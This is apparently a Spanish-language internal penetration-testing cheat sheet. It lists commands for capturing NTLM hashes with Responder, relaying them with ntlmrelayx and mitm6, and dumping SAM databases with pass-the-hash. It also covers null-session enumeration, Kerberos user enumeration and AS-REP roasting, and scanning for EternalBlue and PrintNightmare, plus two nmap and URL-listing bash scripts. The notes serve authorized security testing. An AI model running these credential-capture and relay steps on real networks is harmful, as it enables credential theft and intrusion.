Pentest Interno
Responder
Modo capturar hashes
sudo responder -I eth0 -wdF
ls -la /usr/share/responder/logs
Modo relay
nxc smb ip/24 --gen-relay-list relay.txt
sudo nano /etc/responder/Responder.conf
Ponemos en OFF SMB y HTTP
sudo responder -I eth0 -FPv
sudo impacket-ntlmrelayx.py -tf relay.txt -smb2support
nxc smb IP/24 -U USER -H HASH --local-auth --sam
Modo relay IPV6
sudo python3 mitm6.py -d DOMAIN
impacket-ntlmrelayx -6 -wh 10.17.0.213 -tf formated_relay.txt -socks -debug -smb2support
Filtrar por hashes distintos
cat /usr/share/responder/logs/*.txt | grep '::' | awk -F':' '!vistos[$1]++'
Extraer usuarios válidos de los hashes
cat /usr/share/responder/logs | grep '::' | awk -F':' '!vistos[$1]++' | awk '{print $1}' | sort | uniq | grep -vE ',|\/|-|#'
Ver Host activos
sudo arp-scan -l | awk '/^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/ {print $1}' >> ips.txt
sudo nmap -sn 10.17.0.0/24 -oG - | awk '/Up$/{print $2}' >> ips.txt
cat ips.txt | sort | uniq > ips2.txt
smb.txt
nxc smb -t 10.17.0.0/24
Nmap específico por puertos
port=21 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=21; sudo nmap -p$port -iL $port.txt -sCV -oN "${port}_scan.txt"
SMB null session
nxc smb 445.txt -u '' -p '' | grep '\[+\]'
nxc smb 445.txt -u '' -p '' --shares
smbmap -u 'null' --host-file smb_null.txt
smbmap -u '' --host-file smb_null.txt
smbclient -L 10.17.0.229 -N
smbclient -L 10.17.0.229 -N -m SMB3
smbclient -L 10.17.0.229 -N -m SMB2
RPC null session
while read ip; do
echo "Probando null session RPC en $ip "
rpcclient -U "" $ip -c "enumdomusers" && echo "Null session permitida en $ip" || echo "No null session en $ip"
done < 139.txt
while read ip; do\n echo "Probando null session RPC en $ip"\n impacket-lookupsid anonymous@DOMAIN -target-ip $ip -no-pass && echo "Null session permitida en $ip" || echo "No null session en $ip"\ndone < 139.txt
RDP, comprobar NLA
nmap -p 3389 -iL 3389.txt --script=rdp-enum-encryption
nxc rdp --nla-screenshot 3389.txt | grep "nla:False"
ls -lh /home/user/.nxc/screenshots/
rdesktop -u "" -p "" IP
LDAP probar consultas anónimas
ldapsearch -x -H ldap://DOMAIN -s base -b "" "(objectClass=*)"
ldapsearch -x -H ldap://DOMAIN -s base -b "DC=,DC=" "(objectClass=*)"
Webs
port=80 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=443 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=8080 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=8443 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=8000 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=8888 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=9090 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=3000 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=5000 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
awk '{print "http://"$0":80"}' 80.txt >> urls.txt
awk '{print "http://"$0":8080"}' 8080.txt >> urls.txt
awk '{print "https://"$0":443"}' 443.txt >> urls.txt
awk '{print "https://"$0":8443"}' 8443.txt >> urls.txt
awk '{print "http://"$0":8000"}' 8000.txt >> urls.txt
awk '{print "http://"$0":8888"}' 8888.txt >> urls.txt
awk '{print "http://"$0":9090"}' 9090.txt >> urls.txt
awk '{print "http://"$0":3000"}' 3000.txt >> urls.txt
awk '{print "http://"$0":5000"}' 5000.txt >> urls.txt
sudo apt install unzip -y
wget https://github.com/projectdiscovery/httpx/releases/download/v1.7.1/httpx_1.7.1_linux_amd64.zip
unzip httpx-linux-amd64.zip
chmod +x httpx-linux-amd64
sudo mv httpx-linux-amd64 /usr/local/bin/httpx
/usr/local/bin/httpx -l urls.txt -sc -title -t 50 -timeout 5
Listado de usuarios válidos
./kerbrute userenum -d DOMAIN kerbrute_wordlist.txt
impacket-GetNPUsers DOMAIN/ -no-pass -usersfile valid_users.txt -dc-ip IP
Wordlist para hacer password spraying
https://github.com/attackdebris/kerberos_enum_userlists.git
Software vulnerable
mssql
cat mssql_targeted | grep -E 'Nmap scan report|name: |number: ' | grep -v 'Instance' > vulnerable_mssql.txt
ssh
awk '/Nmap scan report for/ {ip=$NF} /tcp/ && /open/ && /ssh/ {print ip, substr($0, index($0, $4))}' 22_targeted > vulnerable_ssh.txt
python3 ssh-audit.py -T ../nmap/22.txt | \
awk '
/\(gen\)/ { print $0; next }
/\[fail\]/ && $0 !~ /U\.S\. National Security/ { print "\t" $0 }
' | grep -v 'compression'
postgres
nmap -p 5432 $range -sS --open -oG - | awk '/5432\/open/ {print $2}' > 5432.txt
Puertos típicos
| Puerto | Servicio común | Riesgos frecuentes / Exploits conocidos |
|---|---|---|
| 21 | FTP | Contraseñas en texto plano, anon login, RCE (vsftpd backdoor, etc.) |
| 22 | SSH | Bruteforce, versiones viejas de OpenSSH (7.x, 8.x) con CVEs |
| 23 | Telnet | Texto plano, acceso sin cifrar, default creds |
| 25 | SMTP | Relay abierto, RCE por buffer overflow |
| 53 | DNS | Cache poisoning, DoS, zone transfer |
| 80 | HTTP | Web vulns (LFI, RCE, XSS, SQLi), paneles sin auth |
| 110 | POP3 | Texto plano, credenciales expuestas |
| 135 | RPC | Windows RCE (MS03-026, DCOM, etc.) |
| 139 | NetBIOS | Enumeración, ataques LLMNR/NetBIOS |
| 143 | IMAP | Texto plano, default creds |
| 389 | LDAP | Enumeración, credenciales en texto plano |
| 445 | SMB | MS17-010 (EternalBlue), RCE, cred capture (Responder) |
| 512-514 | R* services | RSH/Rlogin inseguros |
| 3306 | MySQL | Default creds, inyecciones |
| 3389 | RDP | Bruteforce, BlueKeep (CVE-2019-0708), cred reuse |
| 5432 | PostgreSQL | Default users, inyecciones SQL |
| 5900 | VNC | Sin autenticación, acceso completo |
| 5985/5986 | WinRM | RCE si hay credenciales disponibles |
| 8000-9000 | Web apps/dev services | Jenkins, Tomcat, Jupyter, etc. → muchos sin auth por defecto |
| 9200 | Elasticsearch | RCE, info leak si sin auth |
| 11211 | Memcached | Amplification DDoS |
Vuns típicas
| Nombre | CVE | Servicio | Descripción | Explotable en Metasploit |
|---|---|---|---|---|
| EternalBlue | CVE-2017-0144 | SMBv1 (445) | RCE por buffer overflow en SMBv1 (Win7, Win2008, XP) | ✅ Sí (exploit/windows/smb/ms17_010_eternalblue) |
| SMBGhost | CVE-2020-0796 | SMBv3 (445) | RCE en SMBv3.1.1 (Windows 10/2019) | ✅ (scripts y PoCs) |
| BlueKeep | CVE-2019-0708 | RDP (3389) | RCE en Remote Desktop (Win7/Server 2008) | ✅ (exploit/windows/rdp/cve_2019_0708_bluekeep_rce) |
| PrintNightmare | CVE-2021-34527 | RPC/Spooler (135/445) | RCE por falla en spooler | ✅ (exploit/windows/local/printnightmare) |
Escáneres :
nxc smb 10.17.0.0/24 -M eternalblue
nxc smb 10.17.0.0/24 -M printnightmare
nxc smb 10.17.0.0/24 -M smbghost
Creds por defecto
https://github.com/ihebski/DefaultCreds-cheat-sheet.git
multi_nmap.sh
#!/bin/bash
# Comprobar si se pasó el objetivo como argumento
if [ $# -ne 1 ]; then
echo "Uso: $0 <IP | rango_CIDR | archivo_con_IPs>"
echo "Ejemplo 1 (Rango): $0 10.86.4.0/24"
echo "Ejemplo 2 (Una IP): $0 192.168.1.50"
echo "Ejemplo 3 (Archivo): $0 objetivos.txt"
exit 1
fi
INPUT="$1"
# Determinar si la entrada es un archivo que existe, o una IP/Rango
if [ -f "$INPUT" ]; then
echo "[+] Archivo detectado. Cargando IPs desde: $INPUT"
TARGET="-iL $INPUT"
else
echo "[+] IP o Rango detectado: $INPUT"
TARGET="$INPUT"
fi
# Top 100 puertos más comunes (TCP)
ports=(20 21 22 23 25 53 67 68 69 80 110 111 123 137 138 139 143 161 162 179 194 443 445 465 514 515 520 546 547 587 631 636 989 990 993 995 1080 1194 1433 1434 1521 1723 1812 1813 2049 2082 2083 2086 2087 2095 2096 3306 3389 3690 4060 4444 5432 5500 5900 6000 6001 6002 6003 6004 6005 6379 6667 7000 7001 8080 8443 8888 9000 9090 10000 11211 27017 28017 50000 49152 49153 49154 49155 49156 49157)
echo ""
echo "=== Escaneo de puertos comunes ==="
for port in "${ports[@]}"; do
echo "[*] Escaneando puerto $port ..."
sudo nmap -p $port $TARGET -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
# Si el archivo está vacío (-s comprueba si tiene contenido), lo eliminamos
if [ ! -s "${port}.txt" ]; then
rm -f "${port}.txt"
fi
done
echo "[-] Escaneo de puertos comunes completado."
echo ""
# Puertos web más comunes
web_ports=(80 443 8080 8443 8000 8888 9090 3000 5000)
echo "=== Escaneo de puertos web comunes ==="
for port in "${web_ports[@]}"; do
echo "[*] Escaneando puerto web $port ..."
sudo nmap -p $port $TARGET -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
# Misma limpieza para los puertos web
if [ ! -s "${port}.txt" ]; then
rm -f "${port}.txt"
fi
done
echo "[-] Escaneo de puertos web completado."
echo ""
# Generar urls.txt con las IPs encontradas
echo "=== Generando urls.txt ==="
> urls.txt # limpiar archivo si existe
for port in "${web_ports[@]}"; do
# Como hemos borrado los vacíos, solo procesamos si el archivo existe (-f)
if [ -f "${port}.txt" ]; then
# Asignar HTTPS si es 443 o 8443, de lo contrario usar HTTP
if [ "$port" == "443" ] || [ "$port" == "8443" ]; then
protocol="https"
else
protocol="http"
fi
# Escribir en el archivo urls.txt
awk "{print \"$protocol://\"\$0\":$port\"}" "${port}.txt" >> urls.txt
fi
done
echo "[+] Archivo urls.txt generado con éxito."
genURLs.sh
Crear listado de posibles webs en el alcance.
#!/bin/bash
# Uso: ./genurls.sh ips.txt puertos.txt > urls.txt
#
# ips.txt admite: IPs sueltas, CIDR (192.168.1.0/24),
# rangos completos (192.168.1.1-192.168.1.50)
# rangos cortos (192.168.1.1-50)
# puertos.txt: un puerto por línea
set -euo pipefail
INPUT="${1:-}"
PORTS="${2:-}"
if -z "$INPUT" ; then
echo "Uso: $0 <ips.txt> <puertos.txt>" >&2
exit 1
fi
if [[ ! -f "$INPUT" ]]; then
echo "Error: no existe el fichero de IPs: $INPUT" >&2
exit 1
fi
if [[ ! -f "$PORTS" ]]; then
echo "Error: no existe el fichero de puertos: $PORTS" >&2
exit 1
fi
expand_ips() {
python3 - "$1" <<'PYEOF'
import sys, ipaddress
with open(sys.argv[1]) as f:
for raw in f:
line = raw.strip()
if not line or line.startswith('#'):
continue
try:
if '/' in line:
for ip in ipaddress.ip_network(line, strict=False):
print(ip)
elif '-' in line:
start, end = [x.strip() for x in line.split('-', 1)]
if '.' in end:
start_ip = ipaddress.ip_address(start)
end_ip = ipaddress.ip_address(end)
else:
parts = start.split('.')
parts[-1] = end
start_ip = ipaddress.ip_address(start)
end_ip = ipaddress.ip_address('.'.join(parts))
cur = start_ip
while cur <= end_ip:
print(cur)
cur += 1
else:
print(ipaddress.ip_address(line))
except Exception as e:
sys.stderr.write(f"[!] Linea invalida, se omite: {line} ({e})\n")
PYEOF
}
# Cargar puertos en un array (evita reabrir el fichero en cada IP)
mapfile -t PORT_LIST < <(grep -v '^\s*#' "$PORTS" | grep -v '^\s*$')
expand_ips "$INPUT" | while read -r ip; do
[[ -z "$ip" ]] && continue
for port in "${PORT_LIST[@]}"; do
echo "http://${ip}:${port}"
echo "https://${ip}:${port}"
done
done
top 100 puertos de webs (se le puede pasar también un top 1000)
80
443
8080
8443
8000
8008
8081
8082
8083
8084
8085
8086
8087
8088
8089
8090
8091
8092
8093
8094
8095
8096
8097
8098
8099
8888
3000
3001
5000
5001
5601
6443
7000
7001
7002
7070
7080
7443
7777
9000
9001
9002
9080
9090
9091
9200
9443
9800
9981
10000
10443
11371
12443
15672
16080
18080
18443
19080
20000
28017
32000
49152
2082
2083
2086
2087
2095
2096
8161
8181
8280
8291
8834
8880
8600
8700
8800
4443
4444
6080
6666
6969
1080
1443
3128
3333
4000
4040
4200
4433
4567
5555
5800
5900
6000
6001
6002
8500